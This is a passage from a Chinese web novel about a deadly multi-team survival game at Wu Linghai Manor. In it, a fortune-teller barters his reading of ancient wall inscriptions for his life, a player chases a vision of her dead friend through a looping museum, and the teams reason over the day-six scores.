他转向宋白河,摇着头,意有所指:“不然明天怕是撑不过去咧。”
明显能看到宋白河眸子里闪过深切的担忧,殷殷目光投向沈墨棠。
“摇铃。”
沈墨棠命令。
不管南城这大叔想做什么,总之今晚宋白河摇铃是最优的方案——宋白河自己能拿分,而沈墨棠也能因为[喜爱]的缘故得一分。
比起由沈墨棠摇铃,宋白河摇铃能让东城在总分上多得1分。
“那要不就卜一卦吧。”
老仙儿又一次急急打断,他双眼睁大,伸长脖子来看沈墨棠,仿佛脖子长的禽类动物被动静吸引住。
这神经兮兮的模样倒是让人不禁一怔。
沈墨棠被盯得挑起眉梢。
却见老仙儿手中掐着指节,嘴里念念有词,嘟哝着什么“天同二世”、“归魂内卦”、“四爻腾蛇”之类的东西,神神叨叨的。
就在沈墨棠愈发不耐烦的时候,其实也就几秒钟的时间,老仙儿突然冒了一句掷地有声的话:
“女娃儿,你看到不该看的玩意儿咧?”
他忽地往前两步,目光灼灼充满肯定,以及止不住的好奇心,那苍老的眼珠子里迸出不一样的光彩。
仿佛发现了什么了不得的事。
不该看的玩意儿?
是指……幻象?巨人?
还是这个神棍大叔的故弄玄虚?
沈墨棠眉头微皱。
老仙儿一边兴奋嘀咕着“咱就觉着这庄子不简单”,一边不停凑到沈墨棠身前,仿佛已经完全忘记还身处[凶屋]中,而是在什么街头卜卦的场合,差点把眼珠子贴上沈墨棠的脸。
“滚开!”宋白河眼疾手快,一把将老仙儿推开。
老仙儿脚下一个站不稳,自己拌了自己,跌坐在地。
但他丝毫不在意,好似压根没管宋白河的存在,一心盯着沈墨棠:“女娃儿,说说呗,你看到啥咧?你在这儿看到啥咧?不是庄子里的玩意儿,是庄子外的,游戏外的……是不是咧?你真看到咧?”
什么?
庄子外的?游戏外的?
沈墨棠被问得有点晕,脑子里疯狂回忆每次遭受惩罚时,那巨人的幻象。
天旋地转,黑白不分,混沌不清。
“欸,没事吧?”
耳旁响起担忧的声音,沈墨棠才发现自己差点晕厥过去,视野重新恢复,瘫软的身体被宋白河接住。
“我……”
沈墨棠咬紧牙关,强迫自己保持清醒。
“女娃儿,我就说你不太好咧。”老仙儿从地上爬起,顾不上重新将凉鞋穿好,只是强压着激动说着:“告诉咱看到了啥,咱能帮你咧!”
帮?
沈墨棠抬起重重的眼皮,瞥了眼老仙儿,又翻起看向屋顶的铃铛。
老仙儿立刻会意:“哎哟,放心,咱不摇咧!你来你来,你两谁愿意摇谁摇。该说不说,女娃儿你这面色真
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的要遭殃咯,咱怕你再不摇铃铛真撑不过明儿咧!”
这话说完,沈墨棠明显感觉到,抱着自己的宋白河也动摇了。
他虽然什么都没说,但从他温热的身体、平稳的心跳、胸膛的起伏都传达着“要不今晚你摇铃”的想法。
沈墨棠轻轻推开宋白河,独自站稳了身子。
她调整了呼吸,声音微弱:“我叫你,先摇铃。”
“嗯。”
宋白河这次没再拖拉,麻利地摆好长椅,站上去摇响铃铛……
“叮铃铃~”
广播:“恭喜摇响铃铛的玩家逢凶化吉!其他玩家,您的惩罚将在天亮后降临!”
全程,老仙儿就站在一旁,没有丝毫阻止的意思。
直到宋白河落地,铃铛消失,广播结束,老仙儿才又问:“啧,哎哟,女娃儿,现在可以安心说说咧?你看到啥咧?”
既然以及摇铃,天亮后的分数就已经尘埃落定。
沈墨棠一口气松下来,迷迷糊糊间说了声“巨人”,便瘫靠到墙上。
宋白河第一时间拖来长椅,扶她坐下,俨然是一位熟练护理工的模样。
老仙儿倒是不浪费半点时间:“啥巨人?哟……是一开始见到的那巨人?是不?”
沈墨棠轻轻摇了下头。
并非想表示“不是”,而是想表示自己不清楚。
她合着双眼,靠在宋白河怀中,毫无防备也无力防备。或许此时全身唯一动地方,就只剩下脑子了。
这个“老仙儿”真的知道什么关于“巨人”的事情吗?
她最终缓缓开口问:“老仙儿,你知道什么吗?”
老仙儿:“女娃儿,你到底看到啥咧?”
沈墨棠又摇头:“我看到的,没办法直接告诉你。不是不想说,是我自己都无法理解,也不知道该怎么描述。”
那股幻象,那种真假难分,深入骨髓灵魂的恐惧,根本无法言喻。
身处其中,只知道“巨人”而已,沈墨棠根本无需隐瞒。
老仙儿换了副表情:“女娃儿,你刚才说你看到巨人咧?”
“嗯。”
沈墨棠说话的时候有气无力:“看到,但就是……巨人,很高很大的人,一整栋楼那么大,那么高,不知道在哪,也不知道是谁……”
本以为就算努力回忆幻象,努力尝试描述,旁人也无法理解。
然而老仙儿却煞有介事地追问:“那巨人在做啥咧?”
“不知道。”
沈墨棠闭上眼睛回答,本以为老仙儿会继续追问,没想到过了一会儿,老仙儿却一声都没吭。
她轻轻睁眼,透过模糊的视线瞥到老仙儿似乎对巨人的话题已经不感兴趣了,正转悠着面向屋子里的那面雕壁,兴致勃勃的样子。
他看得懂?
沈墨棠拍了拍宋白河,示意他扶着起身,然后问老仙儿:“上面写的什么?”
“估摸着你们不懂咧。”
老仙儿没有回头,突然沉默了。
沈墨棠已经一点力气都没有,当下又拍拍宋白河,示意他问。
“老仙儿,该你回答了。”宋白河会意,声音冷漠,抑扬顿挫:“上面写什么?”
“你们想知道?”
老仙儿背对着两人,不急不缓地伸了个懒腰:“这女娃儿身上有灵,怕是要遭大劫……咱不卖关子咧,可以告诉你们这上面写啥,只不过……”
110. 巫凌海庄园37
“……只不过,咱会讲得慢一些。”
讲得慢?
虽然是短夜,但也闲来无事,讲得慢就讲得慢些,最好把雕壁上写的东西讲得清清楚楚。
沈墨棠靠在宋白河身上,闭眼像是顿了头,不置可否。
老仙儿见两人被他吸引,随即侃侃而谈:“这第一句,应该是‘昔有先者遁出无极之门惊觉现世惨遭侵坏遂立刑天以救现世’……哦,有点常识都知道文言少有标号,对不咧?也亏得咱博学多才,瞧得懂这金文。”
沈墨棠睫毛微动。
宋白河倒是追问:“老仙儿,你可别乱说,我们也是正经参加过高考的,你说这些是……文言文?”
“咱要是真严谨,仅能笼统归纳为‘古文’咧。”老仙儿伸了个懒腰,装模作样拍拍脏兮兮的毛衣,脸颊抽动,娓娓道来:“这‘金文’何解咧?商周古人称铜为‘金’,后者便将刻在青铜器上的铭文取名‘金文’,又或‘吉金文字’,也做‘钟鼎文’。”
说了半天,还是只给人说了一半。
宋白河感受到沈墨棠呼吸渐平,双目紧闭似乎是对老仙儿的话有所质疑,他想了想,继续问老仙儿:“就是说,这墙上写的是……以前刻在青铜器上的古文字?”
“对咧。”
老仙儿仿佛抛洒饵料打窝的钓鱼佬,见鱼儿围过来便住了嘴。
窗外响起“邦”、“邦”、“邦”的第一阵敲梆子的声音,黑夜寂静辽远,神秘虚无。
宋白河静静等老仙儿继续往下说,见他迟迟不肯开口,不由沉不住气:“唔……然后呢?”
还是没等来回应。又沉默片刻,他问了句:“老仙儿?”
老仙儿却是静静站在窗前,举起一只手,示意宋白河稍安勿躁,头也不回:“不急不急,暂时就这些咧。”
就这些?
宋白河看向那面密密麻麻的雕壁,顿觉困惑:“就一句话呀?”
老仙儿还是摇头。
摇头的同时还故意拉长语调,回头睨着宋白河:“小伙子,这墙上自然不止这一句,只不过……咱现在只能说这一句。”
“嗯?”
宋白河满脸疑惑,见到老仙儿若有所思的防备目光,顺着低头看向闭目养神的沈墨棠,然后抬头问:“为什么?”
老仙儿摆摆手,笑着又沉默了,一副讳莫如深的模样,紧接着又回过头去。
他想调的大鱼还没上钩,他可不太想把太多时间浪费在区区一条小杂鱼身上。
“老仙儿,后面的为什么不说?”
见老仙儿执意没打算再开口,宋白河莫名其妙。
宋白河正准备挤兑一句老仙儿“你爱说不说”的时候,面对百格窗的老仙儿却又悠悠出声:“甭着急了小伙子,听……”
听?
窗外有什么动静吗?
宋白河努力竖起耳朵。
等了一会,老仙儿缓缓开口:“我也不是不能说,咱呐……就这每回打更的经过,咱便说一句。”
“天亮,恰好能说完咧。”
天亮说完?
一打更说一句?
这么麻烦?
宋白河动动脖子,万般不理解:“这又为什么?”
老仙儿噤声,给宋白河留着一个背影。
又没声了?
宋白河虽然对雕壁上的内容同样好奇,但更多的心思还是放在沈墨棠身上。
没让沈墨棠开口,是因为他能感受到,沈墨棠的身体似乎正在迅速丧失活力,仿佛随时都会油尽灯枯。他握着她的手腕,尝试寻找脉搏,触手却是冰凉无比,于是只能紧张地握住她整只手,轻轻搓揉,希望能让末梢神经活动起来,避免沈墨棠睡过去。
同时他得对老仙儿发起提问,吸引注意力,以免老仙儿趁他不注意突然对沈墨棠发难。
“他怕。”
沈墨棠气若游丝。
怕?
宋白河低头,发现沈墨棠脸庞苍白如纸,此刻已经挂上不屑的笑意!
还没问,沈墨棠吃力地继续:“老仙儿,怕我们做掉他。”
她的声音很弱很弱,弱到宋白河紧贴着她都听得不是很清楚。
可窗边地老仙儿反倒如雷贯耳般,发出一声“哼”作为回应。
宋白河抬头看去,见老仙儿回过头,眉眼间尽是对沈墨棠的防备、欣赏、胆怯……复杂的情绪在他并不清澈的眸子里流淌过,最终归于平静。
“哼,咱早就瞧出北城那两个人是你的手笔,你这女娃儿心狠手辣,咱可不想步北城的后尘咧!”
老仙儿心中清楚,他自己不擅武力,与年轻力壮的宋白河对上肯定少有胜算。
今晚两军相见,一直到现在东城两人还不对他动手,全在于刚才他虚张声势,赌了一把。他赌四城的所有玩家,除他之外,无人能懂的雕壁上的“金文”。
一旦自己一股脑将内容全部讲出来,难免会让人觉得失去价值,当即除掉。
老仙儿只能以此作为生存的筹码,至少要撑到天亮陶瓷娃娃出现为止。毕竟他身上还有分数,如果提前被淘汰,那么南城恐怕难以获胜。
老仙儿的心思很好猜。
在沈墨棠看来,要是老仙儿知道的,只是一些游戏规则信息,那么现在确实没必要再留他。
毕竟东城现在保持着总分优势。
其他城区的玩家淘汰越多,东城的胜算越大。
然而……
老仙儿一开始的话语里,听起来像是知道关于“巨人”的事?
而且听他话里的意思,这件事似乎还和雕壁上的古文字有关?
关键是,只有老仙儿看得懂雕壁上写什么。
当然,他可能是为了活命瞎编的。但无论如何,这都是目前唯一和“巨人”有关的线索。
光冲这点,沈墨棠就不打算轻易淘汰老仙儿。
“接受他的提议,我们有时间。”
沈墨棠发出虚弱的声音,只够对宋白河耳语:“你问他第一句话是什么,刚才没听清。”
宋白河朝老仙儿复述了一遍疑问。
“听好咧。”
老仙儿转向雕壁,朗声道:“昔有先者遁,出无极之门,惊觉现世惨,遭侵坏遂立,刑天以救现世。”
沈墨棠听着听着,不由得皱起眉头。
“老仙儿,什么意思?”
“何意咧……”
老仙儿面对雕壁,揉了揉下巴,故作沉吟。
【昔有先者遁出无极之门惊觉现世惨遭侵坏遂立刑天以救现世……】
他口中的“就这些”。
“你们读过书的,应该懂这些什么意思吧?昔,往昔、昔日,乃‘从前’之意……”老仙儿语气中透着藏不住的桀骜、得意,腔调怪异,除了拿腔作调矫揉造作之外,倒是不吝啬解读:“先,先后、先前、先祖、先人,‘先’亦有‘前、序’之意……”
……
四方战,东城大本营,植物园。
崭新的淡蓝色柏油路面,脚步虚浮,渐次走近。
孤独的,埋怨的,渴
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求而又失望透顶的声音:“拜托拜托,再给我来点能吃的吧……”
青八条姚紫文仿若行尸走肉,全身瘫软耷拉,拖着自己独自往前走。
她双眼无神,四处张望,嘴里对自己碎碎念。
“他们欺负我……他们欺负我……他们就是想逼我吃榴莲!呜呜呜……”
说着说着,姚紫文抬手擦掉眼角不存在的泪,郁闷地重重叹气:“真的没东西啦这里?不至于吧,这么大个地方,就只有榴莲能吃?呸!我不信!”
口吻像是在给自己加油打气,将疲惫的状态一扫而空。
“来来来!让我看看这什么破地方!”
眼前,柏油路的尽头,翠红的花叶之后,隐隐出现白色的建筑外表。
再往前走,逐渐看清建筑全貌,左半边方方正正有棱有角,右半边有类似圆锥体的曲面和斜坡,看起来就像是几个巨大的美术几何体拼在一起,给人一副清新的艺术感。
是个……场馆?
姚紫文上下左右扫了一眼,发现一条木制的栈道一类的结构,绕着建筑外围拐到另一侧。
走下柏油路,踩着台阶踩上栈道,建筑外表大面玻璃墙反射出她的身影。倒影中阳光明媚,姚紫文仿佛一个迷路的旅人,脸上挂满迷惘和好奇。
她冲着玻璃墙理了理头发。
沉默着,好奇着,顺着栈道拐向建筑外墙的另一侧,经过被建筑反斜面遮挡的空地,终于见到建筑的大门——大面积的六扇开口,像是什么图书馆、体育馆一类的大型场馆。
“这里……还没人来过吗?”姚紫文看着大门上的锁。
正常来说,如果其他成员进过这里,应该会将锁撬开才对,或者直接破门。
但现在门把手上拴着粗粗的红色橡胶锁,趴在透明门板朝内观望,门里有安检机,然后就是宽敞无比的大厅,正对门的柜台能看到“植物标本”等字样。
看来是某个植物标本博览馆。
这里有那么偏吗……三十个小时了,竟然都没人没到过这……
姚紫文后退几步,左右都看了看,没发现有哪里被破口的地方。
“咕咕咕……”
肚子不争气地叫起来。
虽然标本展览馆里不太可能存在“食物”,但……
“进去看看吧,万一有吃的呢!”
心思一动,上前重重推了推门。
几扇钢化玻璃门都被橡胶门锁紧紧框住,最多只能分开一张纸厚度的缝。
姚紫文回身张望,试图找到什么能够破门的工具,然而门口空旷,除了栈道口的固定垃圾桶,就只剩泥石树木了。
“是不是有其他门呐?”
她继续绕着建筑外墙,转过拐角,便是死胡同,被密密麻麻的树木挡住。
无奈只能折返回栈道,兜兜转转一大圈,来到展览馆的另一侧。
“果然这里有后门……”
另一侧果然有两扇对开的门,不透明的合成钢材,比起前门而言少了些气派,多了实用性。门自带了锁,已经锁上,需要钥匙打开。
“咔。咔。”
内外推拉两下,门板发出沉闷的声响,纹丝不动。
还是直接从大门进去轻松点——只要能剪断那条橡胶门锁。
或者……
姚紫文抬头,看向旁边高高的棕榈树,树冠大概能到建筑二楼的位置。
刚才绕这一圈,只发现这里有攀爬破窗的机会。
“得小心点,别还没进游戏先把自己弄伤了……”
111. 巫凌海庄园38
“啪!”
玻璃窗被石头砸破。
过一会,又有一根粗树枝拨弄着,清掉留在窗框上的玻璃渣子。
姚紫文以怪异大胆的极限姿势,艰难攀上窗框,又踩着玻璃渣落地。
“哎呀……这鞋我挑了好久啊别给我扎破了……”
幸好鞋底够硬够厚。
眼前是一个大的展厅,错落有致的玻璃展柜铺满了环形墙面,里面是颜色各异的花叶标本,精美而又自然。
正当乱花渐欲迷人眼之时,一道人影赫然撞入视野中!
没等看清,便一闪而过,消失在展柜之后。
“欸?!站、站住!”
姚紫文愣了一瞬,紧接着神经紧绷,背后发麻,她发出短促惊呼,迅速动身追上去。
这里有人?
会是谁?
标本展柜是几道弧形的墙,她迅速穿过类似走道的地方,就来到身影消失的拐角处。
展柜墙后面,是一道通往上层的楼梯,大概二三十级台阶。
那人影已经跑上台阶顶端,再次从视野中溜走。
姚紫文眼色一变,似乎认出什么,连忙踩上台阶,仓促追赶。
三两步,上了上一层,那身影已经跑到这层楼的展柜墙后,明显是要继续往上跑。
“别跑!停下!”
姚紫文大喊着,脚下没停,大步追过去。
那身影……让人熟悉得难以忘却。
对方却没有丝毫迟疑,一溜烟又跑上楼梯。
哒哒哒的脚步声在寂静的建筑内回荡。
姚紫文又追了一层楼,感觉距离似乎拉近了一些,追上了一点。
对方还在跑,一言不发,只是顺着楼梯一直往上跑。
身影时不时在视野中转瞬即逝,又往上跑了一层,又跑了一层……姚紫文死咬着对方不放,对方也完全没有放缓脚步的意思。
像是场平静湖面下凶险的捕食,双方都拼尽全力,奔跑的脚步声响彻建筑,在那些标本展柜之间激昂奏响。
节拍,强有力而紧凑的节拍。
就像曾经一起锻炼时候那样。
经过几次三番的惊鸿一瞥,姚紫文再也欺骗不了自己,终于确定那身影是谁:“冰冰!”
对方没有停顿,继续向上跑。
“冰冰!苏冰冰!苏冰冰!”
姚紫文大喊过后,浑身迸发力量,跨步间猛地又向上踩了两个台阶。
这下终于看清了。
——那身影绝对是苏冰冰!
——已经在永夜城死去的,曾经相互鼓励的精神寄托,她的姐们!
苏冰冰!
可是,她……她不是已经死了吗?死在那场豪赌游戏了吗?怎么会出现在这?
而且……为什么一句话都不说,见面就跑?
明明已经听到叫她的声音了……在逃避什么吗?在躲什么?
“苏冰冰!站住!”
姚紫文继续向上追,一层楼又一层楼。
与对方的距离似乎在缩短,但就是抓不到,够不着。
保持奔跑的姿势,不要缓下来。
马上了,差一点点,还差一点点!
再追几层楼,就能抓到她了!
但是好酸……腿好酸……浑身都好酸……
……已经跑了几层楼了?
肌肉开始僵硬,空气中有无法理喻的无形节肢,橡皮条般扭动,黑光闪烁然后消失。
等下!
跑了几层楼了?
从刚才开始……怎么也有五层?七层?
还是已经十层了?
这栋建筑,不是只有两层吗?
姚紫文心中颤动,凝神想要看看周围环境:“欸?”
双腿不听使唤了?
身体本能地向前跑,往上跑,追着那熟悉的一言不发的身影,仿佛……成为她的影子,如影随形!
“等等……苏……”
嘴巴开合,再也没发出半点声音!
反倒是前面的身影发出声音。
苏冰冰开口说话了:“紫文,你好。”
姚紫文闻声,驻足,晃眼看去。
苏冰冰就站在那里不动,神色不喜不悲,身体甚至平静得毫无起伏,像是刚才根本没跑动过。
在她身后,展馆的天花板犹如蝴蝶展翅,朝天上两侧打开。
片片墙砖碎石如雪花掉落,悄无声息。
外面的天空,是如墨的黑夜,无月无星。
黑幕中撕开一道巨大的裂缝。
像是一颗眼睛正在睁开。
……
东城【蓬莱】,顶楼俱乐部。
“哎哎哎,快来,天亮咯!”
青八筒指向屏幕。
吧台内外的斯旺、青三万随着抬头。
屏幕画面定格在燕台之上,12张圆凳就位。
又过了片刻,几个陶瓷娃娃相继入了画,身后都跟着玩家。
宋白河、沈墨棠、老仙儿。
司徒雅、席炎、周彤。
王宇韬、柯思思。
以及被陶瓷娃娃扛在肩上,毫无生机的尸体——西城中年男白八筒。
“是西城的吧……还好的嘞,小九她们三个都在……”
青八筒意识到什么,“啪”地一拍吧台,激动道:“那是不是意味着……咱们快赢咯?还剩最后两个夜晚,咱们有三个人,分数肯定最高!”
“不对,不止咱们有三个人,”青三万盯着电视,面露困惑:“那人怎么还在?”
“谁?”青八筒抓了抓头发,目光一动,大叫:“哎!不对头!南城的那个还没死咯!?”
南城的席炎,怎么还活着?
……
对席炎的存在,感到最为震惊的,当属司徒雅。
人是他打的。前天夜里,司徒雅明明已经确认将席炎揍得失去心跳和呼吸。
今天一早,却见到席炎像个没事人一样,跟在陶瓷娃娃身后,走上燕台。
难道说,这个粉卫衣兜帽男……是不死之身?!
除了老仙儿和柯思思,其他人也同样感到震惊。
除了席炎,今天的燕台上还有另外一件事惹人关注——最后到场的,西城中年男的尸体。
王宇韬已经说不出话来了。
从外表上看,压根猜不出中年男是怎么死的,完全没受到任何外伤,但身体冰凉僵硬,看上去已经死去多时,被身后的陶瓷娃娃拎着,“放”在圆凳上。
过了今晚,西城的分数就只剩下王宇韬一个人。
局势十分明朗。
如果在今天,也就是游戏第六天的晚上,东城和南城还没有产生减员,那么团队仅剩一人的司徒雅和王宇韬,将会提前失去获胜的希望。
因为玩家在第七天夜里无论是否死亡,天亮后都会被陶瓷娃娃拉上燕台计分。
就像现在的中年男一样。
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>所有玩家落座,山墙信息变化:
【DAY6】
【00:00】
【子:0】【丑:6】【寅:7】【卯:0】【辰:6】【巳:4】【午:4】【未:6】【戌:0】【酉:11】【申:10】【亥:10】
【今日可选择房间:“甲”、“乙”、“丙”、“丁”、“戊”】
【角色“护院:马五”玩家已淘汰,分数清零】
【角色“小姐:巫晓楠”玩家已淘汰,分数清零】
“嗯……”
沈墨棠稍显心安地松了口气。
信息没错,兵哥和秀老板的角色板上钉钉,确定是“马五”和“巫晓楠”。
既然他们在身份这件事上没说谎,这样一来,大概率也能确定司徒雅的角色就是“教书先生:木无忌”。
从分数上看,“卯”和“戌”也确实归零。
今天总分64,如果加上被清零的“卯”的6分,应该是70分。
而昨天总分59,也就是说昨晚总共加了11分——由于不可能出现单数的总加分,所以被清零的“卯”或者“戌”在昨晚肯定产生了单数的分数变化。
无论如何,沈墨棠没有摇铃,扣了一分,但【午】的总分却从3分增加到4分。
应该就是自己[喜爱]的宋白河摇铃了,且自己[厌恶]的秀老板扣了分,总共为自己加了2分。
宋白河摇铃了,而【辰】只从5分增加到6分,证明他除了摇铃的加分外,[喜爱]和[憎恶]都没加分。
他[喜爱]的……该不会就是秀老板吧?
沈墨棠一挑眉,脑中冒了这么一个念头,随即将其暂且搁置。
至于小六姐的【酉】从9分增加到11分,尚还不能确定是因为[喜爱]还是[憎恶]加分。
但可以确定的是,11分已经是目前场上唯一的最高分!
东城三人加起来21分,远超场上总分64的4/1。
稳住最后两夜,大概率就能赢下【巫凌海庄园】!
至于其他人,司徒雅的“亥”从7分增加到10分,比昨天足足加了3分——他[喜爱]的人,还在场上,而且是昨晚处于【吉屋】或者摇铃的人当中。
此外,【申】10分,【未】6分,【巳】4分,【寅】7分,【丑】6分。
五人中,有一个是今晚即将淘汰的西城中年男。
剩下王宇韬就算是10分的【申】,也只不过和司徒雅同分,对其他阵营造不成威胁。
甚至王宇韬如果是【申】的话,对东城来说反而是好消息。
因为那样的话,南城的三人只能是剩下的6分、4分、7分、6分当中的三个,加起来最多也只有19分。
无论如何,今天该重点“照顾”南城了。
“哎哟!我们分数很低嘞!”
南城的老仙儿突然开口,声音回荡燕台:“我们是【丑】、【巳】、【未】,三个人加起来才16分咧。”
这话没头没尾的,像是在自言自语,但明摆着又是说给其他队伍听的。
沈墨棠从鼻子里泄了口气,知道昨晚老仙儿低声下气了一晚,好不容易保住性命,苟到白天,肯定要搞事情。
果然,老仙儿意有所知,抖腿继续道:“……我是老了,旁边这两孩子估计也很难撑到明晚嘞……”
言下之意,似乎是要联合王宇韬和司徒雅。
今晚一起围剿东城!?